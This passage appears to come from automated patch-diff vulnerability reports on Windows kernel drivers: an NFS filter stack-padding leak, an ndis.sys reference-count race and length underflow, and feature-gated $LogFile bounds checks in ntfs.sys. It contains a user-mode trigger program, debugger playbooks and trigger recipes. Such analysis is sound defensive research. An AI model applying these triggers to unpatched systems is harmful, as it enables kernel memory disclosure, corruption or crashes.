bp msnfsflt_unpatched+0x9e8b

This is the CFG-dispatched call arg1[8](arg1[7], &record). rdx = [rbp-0x30] is the record. The callback pointer is [rdi+0x40] (loaded into rax at +0x9e74), and the gate requires:

[rdi+0x40] != 0     ; a1[8] callback pointer non-NULL
r14 != 1            ; a2 != 1

Dump the record passed to the callback:

dd @rdx l0x13
dd @rdx+4 l1
dd @rdx+0x14 l1

Key instruction offsets

Build / Offset	Instruction	Significance
unpatched `+0x9e27`	`lea rcx, [rbp+60h+var_90]`	Loads address of the uninitialized record
unpatched `+0x9e36`	`call MsNfsFltServerCallInformationInitialization`	Partially fills the record, leaves `+0x04`/`+0x14` stale
unpatched `+0x9e74`	`mov rax, [rdi+40h]`	Loads server callback pointer `a1[8]`
unpatched `+0x9e87`	`lea rdx, [rbp+60h+var_90]`	Loads `&record` for the callback
unpatched `+0x9e8b`	`call cs:__guard_dispatch_icall_fptr`	CFG-dispatched call of `a1[8](a1[7], &record)`
patched `+0x9dfe`	`call memset`	Added `memset(&record, 0, 0x4c)` in `MsNfsFltNotifyServerOfBlockingFileOpen`
patched `+0xa0b6`	`call memset`	Added `memset(&var_70, 0, 0x4c)` in `MsNfsFltPostOpCreate`

Structure layout notes

Offset	Size	Meaning
`0x00`	4	Flags (constant `1`)
`0x04`	4	Padding: uninitialized in unpatched build
`0x08`	8	`a2` (file id / type indicator)
`0x10`	4	Operation flags
`0x14`	4	Padding: uninitialized in unpatched build
`0x18`	8	File information (file internal id)
`0x20`–`0x3F`	32	Written zero
`0x40`, `0x44`, `0x48`, `0x4C`	4 each	`0xFFFFFFFF`

Trigger setup from user mode

Two creates against the same file: the first takes exclusive access, the second triggers the sharing violation.

#include <windows.h>

int main()
{
    HANDLE hA = CreateFileW(
        L"\\\\?\\C:\\NfsFltTarget\\leak_trigger.bin",
        GENERIC_READ | GENERIC_WRITE,
        0,                          // exclusive sharing
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hA == INVALID_HANDLE_VALUE) {
        return 1;
    }

    HANDLE hB = CreateFileW(
        L"\\\\?\\C:\\NfsFltTarget\\leak_trigger.bin",
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    );

    DWORD err = GetLastError();

    if (hB != INVALID_HANDLE_VALUE) {
        CloseHandle(hB);
    }

    CloseHandle(hA);

    return err == ERROR_SHARING_VIOLATION ? 0 : 2;
}

Expected debugger observation:

At +0x9e3b, the DWORDs at [rbp-0x30]+0x04 and [rbp-0x30]+0x14 are non-zero.
At +0x9e8b, the same non-zero bytes are present in @rdx+0x04 and @rdx+0x14.
In the patched build, those locations are zero after the added memset.

8. Changed Functions — Full Triage

Function	Similarity	Change type	Note
`MsNfsFltNotifyServerOfBlockingFileOpen`	0.9793	Security-relevant	Adds `memset(&record, 0, 0x4c)` before the record builder; fixes uninitialized stack padding leak on the `STATUS_SHARING_VIOLATION` path.
`MsNfsFltPostOpCreate`	0.9835	Security-relevant	Adds `memset(&var_70, 0, 0x4c)` at function entry, before its record builder call; fixes the same uninitialized padding leak on the normal activity path. Also contains unrelated pool-API refactoring.
`MsNfsFltCheckFileForActivity`	0.8756	Cosmetic	Loop traversal and flag-bit encoding restructured; functionally equivalent.
`MsNfsFltPreOpGetFileContext`	0.7208	Cosmetic	Large pre-operation callback; also calls the record builder, but into a pool-allocated (zeroed) object at `[rdi+0x30]`, so it needs no memset. Control-flow and register-allocation differences only.
`MsNfsFltInstanceSetup`	0.7633	Cosmetic	Volume attachment callback; `ExAllocatePoolWithTag` to `ExAllocatePool2`.
`MsNFsFltContextCallbackCleanupAndDelete`	0.8188	Cosmetic	Pool-management changes; custom SLIST pool replaced with lookaside-list free.
`MsNfsFltNotifyServerOfNewlyMountedVolumeByWorkItem`	0.8314	Cosmetic	Work-item queueing; `ExAllocatePool2` and error-path restructuring.
`MsNfsFltContextCreateStreamHandle`	0.8323	Cosmetic	Stream handle context creation; control-flow restructuring, same `FltAllocateContext`/`FltSetStreamHandleContext` behavior.
`MsNfsFltGetSourceDirectoryFileId`	0.9576	Cosmetic	`FileHardLinkInformation` query; pool API modernization.
`MsNfsFltGetTargetDirectoryFileId`	0.9800	Cosmetic	Rename/destination query handler; explicit local initialization and struct zeroing.
`MsNfsFltContextFileUpdateFileId`	0.9911	Cosmetic	File activity update; register reallocation only.
`WppLoadTracingSupport`	0.9842	Cosmetic	Tracing initialization; explicit `UNICODE_STRING` zeroing.

Most non-security changes fall into three categories:

Compiler-generated control-flow restructuring
Register allocation differences
Pool API modernization from ExAllocatePoolWithTag to ExAllocatePool2

No removed bounds check, removed size validation, or deleted security gate was observed in the other changed functions. The only security-relevant delta is the pair of added memset calls at the two stack-based record sites.

9. Unmatched Functions

There are no unmatched functions in either direction.

Removed functions: none
Added functions: none

The patch does not introduce a new mitigation function and does not remove an existing validation routine. The meaningful change is the insertion of memset in the two functions that build the server-call record on the stack.

10. Confidence and Caveats

Confidence

High confidence that the unpatched builds contain uninitialized stack padding in this record:

The unpatched assembly shows no zero-initialization of the record before the builder runs.
The shared builder writes every field except +0x04 and +0x14.
The patched assembly explicitly inserts memset(record, 0, 0x4c) in both affected functions.
The record is passed to a registered callback.

Medium confidence on real-world impact:

The uninitialized padding is confirmed, and the direction is unambiguous (the patched build is strictly the one that zeroes).
Whether the leaked bytes become an attacker-observable kernel disclosure depends on what the registered server callback does with the record, which is not determinable from these two binaries.

Verified facts

The call chain MsNfsFltPostOpCreate → (0xC0000043 check at 0x1C0008DA9) → MsNfsFltNotifyServerOfBlockingFileOpen is present in the unpatched build.
MsNfsFltServerCallInformationInitialization writes only the documented fields; +0x04 and +0x14 are left unwritten in both builds.
The record is passed to arg1[8] via the CFG dispatch stub.
The builder is byte-for-byte identical in both builds (relocated 0x1C0003578 → 0x1C0002E18), so the added memset is the fix, not a change in the builder.
The third builder caller, MsNfsFltPreOpGetFileContext, populates a pool-backed record and receives no memset in the patch.

The core change is straightforward: the patch adds the missing memset in both stack-record sites, and the unpatched code leaks uninitialized kernel stack padding through the NFS server-call record.

ndis.sys — NDIS open-block reference-count use-after-free race and interface-alias integer-underflow out-of-bounds read (CWE-416/CWE-125) fixed

2026-07-03T00:00:00-07:00

1. Overview

Unpatched Binary: ndis_unpatched.sys
Patched Binary: ndis_patched.sys
Overall Similarity Score: 0.9897
Diff Statistics:
Matched Functions: 3583
Changed Functions: 40
Identical Functions: 3543
Unmatched Functions (Unpatched/Patched): 0 / 0
Verdict: The patch removes a WIL feature gate (Feature_NDPQualityWinter25__private_IsEnabledDeviceUsageNoInline) binary-wide (present 24 times in the unpatched build, 0 times in the patched build) and folds the affected code to the safe path. This is a delivered fix, not a staged rollout: the old (feature-off) path is not retained in any else-branch. Two genuine memory-safety defects are corrected. (1) In ndisReferenceOpenByHandle and ndisPktMonRegisterAllOpens, the feature-off path checks an _NDIS_OPEN_BLOCK reference count outside the spinlock that guards it and then calls a blind increment helper (ndisMReferenceOpen), a reference-count race (CWE-362) that can resurrect a reference on an open block being torn down (use-after-free, CWE-416); the patched build always uses the check-under-lock helper ndisMTryReferenceOpen. (2) In ndisIfAliasChange, a 16-bit length subtraction can underflow when a length validation is gated off, producing an out-of-bounds read (CWE-191 → CWE-125); the patched build performs the length check unconditionally.

2. Vulnerability Summary

Finding 1: Open-block reference-count race in `ndisReferenceOpenByHandle` (Medium)

Vulnerability Class: Reference-count race condition (CWE-362) leading to use-after-free (CWE-416).
Affected Function: ndisReferenceOpenByHandle (0x1400119A0 unpatched, 0x140011920 patched).
Root Cause: The unpatched function selects between two reference paths using the WIL feature gate Feature_NDPQualityWinter25__private_IsEnabledDeviceUsageNoInline (0x14009B460). When the gate is off, it reads the open-block reference count at openblock+0xe4 at 0x140011a6b while holding the global open-list lock and the per-open-block lock at openblock+0xe8, but not the spinlock at openblock+0x258 that actually guards +0xe4. If the count is non-zero it calls ndisMReferenceOpen (0x140059890), which acquires +0x258 and increments +0xe4 unconditionally. A concurrent thread that decrements the count to zero under +0x258 between the unlocked read and the increment causes the blind increment to resurrect a reference on an open block that is being freed. The gate-on / patched path uses ndisMTryReferenceOpen, which acquires +0x258 and re-checks +0xe4 before referencing, closing the window.
Attacker-Reachable Entry Point & Data Flow:
ndisReferenceOpenByHandle is a shared helper that looks up an open block by handle in ndisGlobalOpenList and takes a reference.
It is called from ndisMOidRequest (0x1400117F0, call site 0x140011814) and five other open-block reference sites; OID request routing by open handle is reachable from NDIS protocol/filter operations.
Triggering the race requires referencing an open block by handle concurrently with that binding being closed/torn down.

Finding 2: Open-block reference-count race in `ndisPktMonRegisterAllOpens` (Medium)

Vulnerability Class: Reference-count race condition (CWE-362) leading to use-after-free (CWE-416).
Affected Function: ndisPktMonRegisterAllOpens (0x1400B6668 unpatched, 0x1400B6420 patched).
Root Cause: Same pattern as Finding 1. The unpatched feature-off path checks openblock+0xe4 at 0x1400b66e8 under the open-block lock at +0xe8 and then calls the blind ndisMReferenceOpen (0x1400b66f6) which re-acquires +0x258 and increments unconditionally. The patched version (0x1400B6420) removes the gate and always calls ndisMTryReferenceOpen (0x1400b646e).
Attacker-Reachable Entry Point & Data Flow:
ndisPktMonRegisterComponentsCallback (0x1400B6890) — invoked when PktMon (packet-capture) component registration runs.
ndisPktMonRegisterAllOpens — walks the open-block list and references each open block to register it with PktMon.
ndisMReferenceOpen (unsafe increment), racing concurrent open-block teardown.

Finding 3: Interface-alias length underflow in `ndisIfAliasChange` (Medium)

Vulnerability Class: Integer underflow (CWE-191) leading to out-of-bounds read (CWE-125).
Affected Function: ndisIfAliasChange (0x1400CFE18 unpatched, 0x1400CFB48 patched).
Root Cause: The unpatched function only enforces the length check a1->Length < ndisDeviceStr.Length when the cached feature flag ndisNDPQualityWinter25IsEnabled is set (if ( ndisNDPQualityWinter25IsEnabled != 0 && a1->Length < ndisDeviceStr.Length )). When the feature is off, the check is skipped and a1->Length - ndisDeviceStr.Length (a USHORT subtraction) underflows to a large value that becomes GuidString.Length, while GuidString.Buffer is advanced past the end of a1->Buffer. RtlGUIDFromString then reads out of bounds. The patched function performs if ( a1->Length < ndisDeviceStr.Length ) unconditionally.
Attacker-Reachable Entry Point & Data Flow:
ndisDriverDispatch (0x140044F80) — driver IRP dispatch.
ndisDispatchRequest (0x140044080).
ndisHandlePnPRequest (0x140184EB0).
ndisHandleUModePnPOp (0x140075D00) — handles user-mode PnP operations; calls ndisIfAliasChange at 0x140075EF8.
ndisIfAliasChange (0x1400CFE18), with the interface-name string a1 supplied through the request.

3. Pseudocode Diff

`ndisReferenceOpenByHandle` (Finding 1)

The unpatched function selects the path with the feature gate. The feature-off path reads the count outside the +0x258 lock and then blind-increments.

// --- UNPATCHED ndisReferenceOpenByHandle @ 0x1400119A0 ---
KeAcquireSpinLockAtDpcLevel(openblock + 0xe8);
if (Feature_NDPQualityWinter25__private_IsEnabledDeviceUsageNoInline()) {
    // feature ON: safe path
    if (!TEST_BIT(*(openblock + 0xe0), 0xf))
        rdi = ndisMTryReferenceOpen(openblock, tag);   // checks *(openblock+0xe4) INSIDE +0x258 lock
}
// feature OFF: unsafe path
else if (!TEST_BIT(*(openblock + 0xe0), 0xf) && *(openblock + 0xe4)) { // <-- read outside +0x258 lock
    ndisMReferenceOpen(openblock, tag);                // <-- increments unconditionally under +0x258 (race)
    rdi = 1;
}
KeReleaseSpinLockFromDpcLevel(openblock + 0xe8);

// --- PATCHED ndisReferenceOpenByHandle @ 0x140011920 ---
KeAcquireSpinLockRaiseToDpc(openblock + 0x258);
if (*(openblock + 0xe4)) {                             // check INSIDE the +0x258 lock
    NdisReferenceWithTag(*(openblock + 0x250), tag);
    *(openblock + 0xe4) += 1;
}
KeReleaseSpinLock(openblock + 0x258, ...);

`ndisMReferenceOpen` vs `ndisMTryReferenceOpen` (helpers)

The difference between the unsafe and safe reference helpers used in Findings 1 and 2.

// --- UNSAFE HELPER: ndisMReferenceOpen @ 0x140059890 ---
void ndisMReferenceOpen(openblock, tag) {
    KeAcquireSpinLockRaiseToDpc(openblock + 0x258);
    // *** no re-check of *(openblock+0xe4) ***
    NdisReferenceWithTag(*(openblock + 0x250), tag);
    *(openblock + 0xe4) += 1;                          // <-- always increments
    KeReleaseSpinLock(openblock + 0x258, ...);
}

// --- SAFE HELPER: ndisMTryReferenceOpen @ 0x1400a0b60 ---
char ndisMTryReferenceOpen(openblock, tag) {
    char ok = 0;
    KeAcquireSpinLockRaiseToDpc(openblock + 0x258);
    if (*(openblock + 0xe4)) {                         // <-- check INSIDE +0x258 lock
        NdisReferenceWithTag(*(openblock + 0x250), tag);
        *(openblock + 0xe4) += 1;
        ok = 1;
    }
    KeReleaseSpinLock(openblock + 0x258, ...);
    return ok;
}

`ndisIfAliasChange` (Finding 3)

The length check is gated off in the unpatched build and unconditional in the patched build.

// --- UNPATCHED ndisIfAliasChange @ 0x1400CFE18 ---
if ( ndisNDPQualityWinter25IsEnabled != 0 && a1->Length < ndisDeviceStr.Length )
    goto fail;                                         // only checked when feature ON
v7 = a1->Length - ndisDeviceStr.Length;                // USHORT subtraction, underflows if unchecked
GuidString.Buffer = &a1->Buffer[ndisDeviceStr.Length >> 1];
GuidString.Length = v7;
GuidString.MaximumLength = v7 + 2;
RtlGUIDFromString(&GuidString, &Guid);                 // OOB read when v7 underflowed

// --- PATCHED ndisIfAliasChange @ 0x1400CFB48 ---
if ( a1->Length < ndisDeviceStr.Length )
    goto fail;                                         // always enforced
GuidString.Length = a1->Length - ndisDeviceStr.Length;
GuidString.MaximumLength = a1->Length - ndisDeviceStr.Length + 2;
GuidString.Buffer = &a1->Buffer[ndisDeviceStr.Length >> 1];
RtlGUIDFromString(&GuidString, &Guid);

4. Assembly Analysis

`ndisReferenceOpenByHandle` (Unpatched, `0x1400119A0`)

The feature-off path reads openblock+0xe4 before entering the blind increment helper.

0000000140011A08  call    cs:__imp_KeAcquireSpinLockRaiseToDpc     ; ndisGlobalOpenListLock
0000000140011A3E  lea     rcx, [rbx+0E8h]                          ; per-open-block lock
0000000140011A4A  call    cs:__imp_KeAcquireSpinLockAtDpcLevel
0000000140011A56  call    Feature_NDPQualityWinter25__private_IsEnabledDeviceUsageNoInline
0000000140011A5B  test    eax, eax
0000000140011A5D  mov     eax, [rbx+0E0h]
0000000140011A63  jnz     short loc_140011A85                      ; feature ON -> safe path
0000000140011A65  bt      eax, 0Fh
0000000140011A69  jb      short loc_140011A9A
0000000140011A6B  cmp     dword ptr [rbx+0E4h], 0                  ; read count WITHOUT +0x258 lock
0000000140011A72  jz      short loc_140011A9A
0000000140011A74  movzx   edx, bpl
0000000140011A78  mov     rcx, rbx
0000000140011A7B  call    ?ndisMReferenceOpen@@YAXPEAU_NDIS_OPEN_BLOCK@@W4_NDIS_OPEN_REFTAG@@@Z
0000000140011A80  mov     dil, 1
0000000140011A83  jmp     short loc_140011A9A
0000000140011A85  bt      eax, 0Fh                                 ; feature ON path
0000000140011A89  jb      short loc_140011A9A
0000000140011A92  call    ?ndisMTryReferenceOpen@@YAEPEAU_NDIS_OPEN_BLOCK@@W4_NDIS_OPEN_REFTAG@@@Z

`ndisMReferenceOpen` (Unsafe helper, `0x140059890`)

The helper acquires +0x258 but increments with no liveness check.

00000001400598AA  add     rcx, 258h
00000001400598B1  call    cs:__imp_KeAcquireSpinLockRaiseToDpc     ; lock openblock+0x258
00000001400598BD  mov     rcx, [rsi+250h]
00000001400598CB  call    NdisReferenceWithTag
00000001400598D0  inc     dword ptr [rsi+0E4h]                     ; unconditional increment
00000001400598E0  call    cs:__imp_KeReleaseSpinLock

`ndisMTryReferenceOpen` (Safe helper, `0x1400a0b60`)

The helper acquires +0x258 and re-checks +0xe4 before referencing.

00000001400A0B8B  call    cs:__imp_KeAcquireSpinLockRaiseToDpc     ; lock openblock+0x258
00000001400A0B9A  cmp     [rbx+0E4h], edi                         ; check INSIDE lock (edi=0)
00000001400A0BA0  jz      short loc_1400A0BBA                      ; skip if zero
00000001400A0BA2  mov     rcx, [rbx+250h]
00000001400A0BAC  call    NdisReferenceWithTag
00000001400A0BB1  inc     dword ptr [rbx+0E4h]                     ; increment only after check
00000001400A0BB7  mov     dil, 1
00000001400A0BC0  call    cs:__imp_KeReleaseSpinLock

5. Trigger Conditions

To trigger the reference-count race (Findings 1 and 2):

Setup: On a system running the unpatched ndis.sys where the NDPQualityWinter25 feature is off, register an NDIS protocol (NdisRegisterProtocolEx) or lightweight filter (NdisFRegisterFilterDriver) so open blocks (protocol↔miniport bindings) exist.
Concurrency: Reference an open block by handle (e.g. OID routing through ndisMOidRequest, or PktMon registration for Finding 2) while concurrently tearing the same binding down so another thread decrements openblock+0xe4 to zero under the openblock+0x258 spinlock.
Race Window: The window is between the unlocked read at 0x140011a6b (Finding 1) / 0x1400b66e8 (Finding 2) and the locked increment at 0x1400598d0 inside ndisMReferenceOpen.
Observable Effect: If the count reaches zero during the window, the blind increment resurrects a reference on an open block being freed, which can lead to use-after-free when the object is later dereferenced. A kernel bugcheck (e.g. 0xD1 DRIVER_IRQL_NOT_LESS_OR_EQUAL or 0x50 PAGE_FAULT_IN_NONPAGED_AREA) is a possible outcome; no controlled exploitation primitive is demonstrated by the binaries.

To trigger the interface-alias underflow (Finding 3): issue a user-mode PnP/interface request (reaching ndisHandleUModePnPOp → ndisIfAliasChange) with an interface-name string whose Length field is smaller than the ndisDeviceStr device-prefix length. On the unpatched build with the feature off, the length check is skipped and the USHORT subtraction underflows, causing RtlGUIDFromString to read out of bounds.

6. Exploit Primitive & Development Notes

Primitive (Findings 1 & 2): A reference-count race on an _NDIS_OPEN_BLOCK (NonPagedPool). The blind increment can resurrect a reference on an open block whose count reached zero, a use-after-free condition. The binaries do not demonstrate any controlled read/write, information-leak, or code-execution primitive built on this; impact beyond kernel memory corruption / bugcheck is not established by the diff.
Primitive (Finding 3): An out-of-bounds read driven by a 16-bit length underflow, feeding an over-long UNICODE_STRING to RtlGUIDFromString. Impact is limited to reading kernel memory adjacent to the caller-supplied string (potential information disclosure or bugcheck); no out-of-bounds write is present (the memmove into ifAlias is separately clamped to 0x200).
Notes: The fix is delivered by removing the NDPQualityWinter25 feature gate binary-wide and always taking the checked paths (ndisMTryReferenceOpen; unconditional length check). The patched build retains no feature-off branch.

7. Debugger Playbook

For an analyst using a kernel debugger on the unpatched binary to observe the race:

Breakpoints:
ndis!ndisReferenceOpenByHandle+0xcb (0x140011a6b) — the unlocked read cmp dword ptr [rbx+0E4h], 0; rbx is the _NDIS_OPEN_BLOCK. The +0x258 spinlock is not held here.
ndis!ndisMReferenceOpen+0x40 (0x1400598d0) — the unconditional inc dword ptr [rsi+0E4h]; rsi is the open block. Compare [rsi+0xe4] here to the value read at 0x140011a6b.
What to Inspect:
At 0x140011a6b: rbx (open block pointer) and [rbx+0xe4] (reference count read outside +0x258).
At 0x1400598d0: rsi (open block pointer) and [rsi+0xe4] (count being incremented). Watch for concurrent decrements of +0xe4 from open-block close/teardown paths under +0x258.
Key Offsets:
0x140011a56 — call to the NDPQualityWinter25 feature gate (selects safe vs unsafe path).
0x140011a6b — read of +0xe4 outside the +0x258 spinlock.
0x140011a7b — call to ndisMReferenceOpen (unsafe path).
0x140011a92 — call to ndisMTryReferenceOpen (safe path, for comparison).
0x1400598d0 — unconditional increment inside ndisMReferenceOpen.
0x1400a0b9a — the correct check inside the +0x258 lock in ndisMTryReferenceOpen.
Open-block offsets: +0xe0 flags dword (bit 0xf = closing/teardown state), +0xe4 reference count, +0x250 refcount block passed to NdisReferenceWithTag, +0x258 spinlock guarding +0xe4, +0xe8 per-open-block spinlock, +0x180 next pointer. Global open list at ndisGlobalOpenList, guarded by ndisGlobalOpenListLock.

8. Changed Functions — Full Triage

Security-relevant changes

ndisReferenceOpenByHandle (0x1400119A0 → 0x140011920): [Finding 1] Feature gate removed; the unlocked check plus blind ndisMReferenceOpen path is eliminated. The patched version acquires +0x258, checks +0xe4, and increments only if non-zero.
ndisPktMonRegisterAllOpens (0x1400B6668 → 0x1400B6420): [Finding 2] Same fix in the PktMon open-registration path; always uses ndisMTryReferenceOpen.
ndisIfAliasChange (0x1400CFE18 → 0x1400CFB48): [Finding 3] The a1->Length < ndisDeviceStr.Length check is made unconditional, preventing the USHORT underflow that fed an out-of-bounds read to RtlGUIDFromString.

Supporting / behavioral changes

ndisReadRegistry (0x14009DA20): Removed the assignment ndisNDPQualityWinter25IsEnabled = 1 (guarded by the feature gate). This global no longer exists in the patched build, which is why the ndisIfAliasChange check is always taken.
DriverEntry (0x140191234): Removed the NDPQualityWinter25 feature-gate initialization call.

Other feature-gate touchpoints (no security impact)

The NDPQualityWinter25 gate appeared in eleven further functions, none of which fixes a memory-safety, reference-count, or bounds defect: * Identical dead branches (both arms of the gate performed the same operation; patched folds to the single statement): the NDIS filter flag accessors FILTER_SET_FLAG, FILTER_CLEAR_FLAG, FILTER_CLEAR_ALL_STATE_FLAGS, FILTER_TEST_FLAG, plus ndisFIndicateStatusInternal and ndisMRawIndicateStatusEx (their gated ternaries wrap those same flag helpers with identical arms and unchanged locking). * Discarded usage-telemetry call removed (return value ignored, no control-flow effect): ndisFilterSendNetBufferLists, ndisSendNBLToFilter, NdisQueryPendingIOCount (its check-then-compute is already inside the spinlock in both builds, so it is not the Finding 1 pattern). * Fixed-size output-field population / refactor: ndisBindReadProtocolDriverFromV2Registry and ndisBindReadProtocolDriverFromV3Registry gate whether a fully-initialized 16-byte Guid is copied into a fixed output-struct field; the patched build always copies it (and V3 additionally replaces hand-rolled registry parsing with helper calls). No bounds or lifetime defect on the feature-off path.

Cosmetic / register-allocation changes

The remaining changed functions differ only by compiler register reassignment, instruction reordering, WPP trace-GUID relocation, or the removal of the now-unused feature-gate stub functions (Feature_NDPQualityWinter25__private_IsEnabled*). No behavioral or security impact.

9. Unmatched Functions

Removed: 0 NDIS routines. (The Feature_NDPQualityWinter25__private_IsEnabled* stub functions and their fallbacks are gone in the patched build, consistent with the gate being removed.)
Added: 0

10. Confidence & Caveats

Confidence: High that the change is a delivered fix: the NDPQualityWinter25 gate is present 24 times in the unpatched build and 0 times in the patched build, with the code folded to the checked paths in every case and no feature-off branch retained.
Findings 1 & 2: The reference-count race is real (check outside +0x258, blind increment under +0x258, fixed by the check-under-lock helper). Severity is rated Medium: it is a local kernel race with use-after-free potential, but the binaries demonstrate no controlled exploitation primitive, and winning the window requires concurrent open-block teardown.
Finding 3: The integer underflow and resulting out-of-bounds read are real and reachable from a user-mode PnP request. Impact is a kernel out-of-bounds read (information disclosure or bugcheck); there is no out-of-bounds write on this path.
Assumptions: The unsafe behavior is active when the NDPQualityWinter25 feature is off. The exact default state of that feature on shipping systems is not determinable from the binaries.

ntfs.sys — Feature-gated bounds/size validation in $LogFile restart-table recovery made unconditional (CWE-787) — fixed

2026-07-03T00:00:00-07:00

1. Overview

Field	Value
Unpatched binary	`ntfs_unpatched.sys`
Patched binary	`ntfs_patched.sys`
Overall similarity	0.9924
Matched functions	4047
Changed functions (behavioral)	3
Changed functions (tracing metadata only)	14
Unmatched (unpatched)	0
Unmatched (patched)	0

Verdict: In the NTFS transaction-log ($LogFile) restart/recovery path, three validation checks — a copy-loop index bounds check, a restart-table size-consistency check, and an integer-overflow-guarded size check before a restart-table memmove — were gated behind a runtime feature-staging flag (g_Feature_2076398905_59354624, evaluated through EvaluateCurrentState/EvaluateFeature). The patch removes that feature gate in all three functions, so the checks now execute unconditionally. This is a real, correct-direction hardening of NTFS log-recovery parsing of on-disk restart-table structures. It is delivered by completing a staged rollout of these checks, not by adding a new mechanism; the runtime default state of the feature in the unpatched build cannot be determined from the binaries, so a reachable overflow in the shipped default configuration is not demonstrated here.

The gate is a WIL feature-staging flag, not a checked-build (#if DBG) assertion: EvaluateCurrentState is present and executed on retail builds. Fourteen additional functions differ only in WPP software-tracing metadata (trace line-number immediates and the per-build trace-GUID control-block symbol) and carry no logic change.

2. Vulnerability Summary

Finding 1 — Medium: Feature-gated out-of-bounds write bounds check in `PageUpdateAnalysis`

Field	Detail
Severity	Medium
CWE	CWE-787 (Out-of-bounds Write)
Function	`PageUpdateAnalysis` (unpatched `0x1C0205DC4`, patched `0x1C0205D04`)
Entry point	Crafted NTFS volume (VHD / USB) whose `$LogFile` restart area is parsed during volume mount / log recovery

Root cause: The function copies extent entries from a source restart-table record (r15, loaded from [rsi+0x48]) into a destination restart-table entry (rdi) allocated by NtfsAllocateRestartTableIndex. The destination write index is computed as ecx = [r15+0x18] − [rdi+0x10] + loop_counter, where [r15+0x18] is a VCN-style field taken from the on-disk log record. A bounds check cmp ecx, [rdi+0xc] / jnb (index vs. the destination capacity at +0x0c) exists in both builds, but in the unpatched build it is reached only when EvaluateCurrentState(&g_Feature_2076398905_59354624) returns non-zero: the test eax,eax / jz at 0x1C020606F–0x1C0206071 skips the cmp/jnb when the feature evaluates to zero, and the 8-byte write at 0x1C0206083 then proceeds with an unchecked index. The patch removes the EvaluateCurrentState call, the test, and the jz, so the bounds check always guards the write.

Call chain:

Mount a crafted NTFS volume (VHD / USB); NTFS performs $LogFile restart/recovery.
NtfsRestartVolume (0x1C016D7C0).
AnalysisPass (0x1C0200EFC) — restart analysis pass over the restart tables.
PageUpdateAnalysis (0x1C0205DC4) — restart-table entry copy at 0x1C02012A3.
8-byte write at 0x1C0206083: mov [rdi+rcx*8+0x20], rax.

Finding 2 — Low: Feature-gated restart-table size-consistency check in `ReadRestartTable`

Field	Detail
Severity	Low
CWE	CWE-20 (Improper Input Validation)
Function	`ReadRestartTable` (unpatched `0x1C020634C`, patched `0x1C0206294`)
Entry point	Crafted NTFS volume whose `$LogFile` restart record has inconsistent size / entry-count fields

Root cause: The function computes an expected restart-table size edi = (entry_count << 3) + 0x20 (or 0x28 when entry_count <= 1) from [r15+0x0e] and compares it to the declared size [r15+0x04]. In the unpatched build the comparison cmp edi, [r15+4] / jnz is gated behind EvaluateCurrentState(&g_Feature_2076398905_59354624) (the test eax,eax / jz at 0x1C0206401–0x1C0206403). When the feature evaluates to zero the mismatch is not raised as corruption, and the function proceeds to call the validator NtfsCheckRestartTable (0x1C01BC394) with a length of [rsi+0x40] − declared_size. The patch makes the size-consistency comparison unconditional. NtfsCheckRestartTable is a restart-table validation routine, not a memory-copy primitive; the effect of a bypassed check here is a mis-validated restart table rather than a demonstrated out-of-bounds copy.

Call chain:

Mount a crafted NTFS volume; $LogFile restart/recovery.
NtfsRestartVolume (0x1C016D7C0) → InitializeRestartState (0x1C016DA08).
ReadRestartTable (0x1C020634C) at 0x1C016DEF8.
NtfsCheckRestartTable (0x1C01BC394) called with a length derived from the declared size.

Finding 3 — Medium: Feature-gated integer-overflow-guarded size check before restart-table `memmove` in `InitializeRestartState`

Field	Detail
Severity	Medium
CWE	CWE-190 (Integer Overflow) leading to CWE-787 (Out-of-bounds Write)
Function	`InitializeRestartState` (`0x1C016DA08`, same address both builds)
Entry point	Same crafted-volume `$LogFile` restart/recovery surface

Root cause: This is the top-level restart-state setup function that calls ReadRestartTable and copies restart-table entries with memmove. It contains three EvaluateCurrentState(&g_Feature_2076398905_59354624) gates (at 0x1C016DF20, 0x1C016E01B, 0x1C016E11D). At the copy site around 0x1C016E01B, when the feature evaluates to non-zero the size for the copy is computed with RtlULongMult((count−1), 8) (an overflow-checked multiply) before the bound compare and the memmove at 0x1C016E099; when the feature evaluates to zero the size is computed with a plain shl rcx, 3 that performs no overflow detection before the same compare. The patch removes all three gates, so the overflow-checked computation and the associated size checks run unconditionally.

3. Pseudocode Diff

`PageUpdateAnalysis` — copy-loop bounds check

// ============ UNPATCHED (0x1C0206051-0x1C0206091) ============
for (ebx = 0; ebx < src->entry_count /* [r15+0x0e] */; ebx++) {

    // feature gate: check reached only when EvaluateCurrentState != 0
    int enabled = EvaluateCurrentState(&g_Feature_2076398905_59354624);

    unsigned idx = src->vcn        /* [r15+0x18] */
                 - dst->start_vcn  /* [rdi+0x10] */
                 + ebx;

    if (enabled && idx >= dst->capacity /* [rdi+0x0c] */)
        NtfsRaiseStatus(STATUS_DISK_CORRUPT);   // skipped when enabled == 0

    dst->extents[idx] = src->extents[ebx];      // 8-byte write, 0x1C0206083
}

// ============ PATCHED (0x1C0205F9C-0x1C0205FDB) ============
for (r8d = 0; r8d < src->entry_count; r8d++) {

    unsigned idx = src->vcn - dst->start_vcn + r8d;

    if (idx >= dst->capacity)                   // unconditional
        NtfsRaiseStatus(STATUS_DISK_CORRUPT);

    dst->extents[idx] = src->extents[r8d];
}

`ReadRestartTable` — size-consistency check

// ============ UNPATCHED (0x1C02063D3-0x1C0206428) ============
int computed = (entry_count <= 1) ? 0x28
                                   : (entry_count << 3) + 0x20;  // [r15+0x0e]

if (EvaluateCurrentState(&g_Feature_2076398905_59354624)
    && computed != declared_size /* [r15+0x04] */)
    NtfsRaiseStatus(STATUS_DISK_CORRUPT);        // skipped on feature == 0

NtfsCheckRestartTable(entry + computed,
                      length - declared_size /* [rsi+0x40] - [r15+0x04] */, ...);

// ============ PATCHED (0x1C0206315-0x1C0206355) ============
if (computed != declared_size)                   // unconditional
    NtfsRaiseStatus(STATUS_DISK_CORRUPT);
NtfsCheckRestartTable(...);

4. Assembly Analysis

`PageUpdateAnalysis` — Unpatched copy loop (`0x1C0205DC4`)

00000001C0206051  mov     ebx, esi
00000001C0206053  cmp     si, [r15+0Eh]                 ; counter vs entry count
00000001C0206058  jnb     short loc_1C0206093           ; loop exit
00000001C020605A  lea     rcx, g_Feature_2076398905_59354624_FeatureDescriptorDetails
00000001C0206061  call    EvaluateCurrentState          ; runtime feature evaluation
00000001C0206066  mov     ecx, [r15+18h]                ; src VCN field (from on-disk log record)
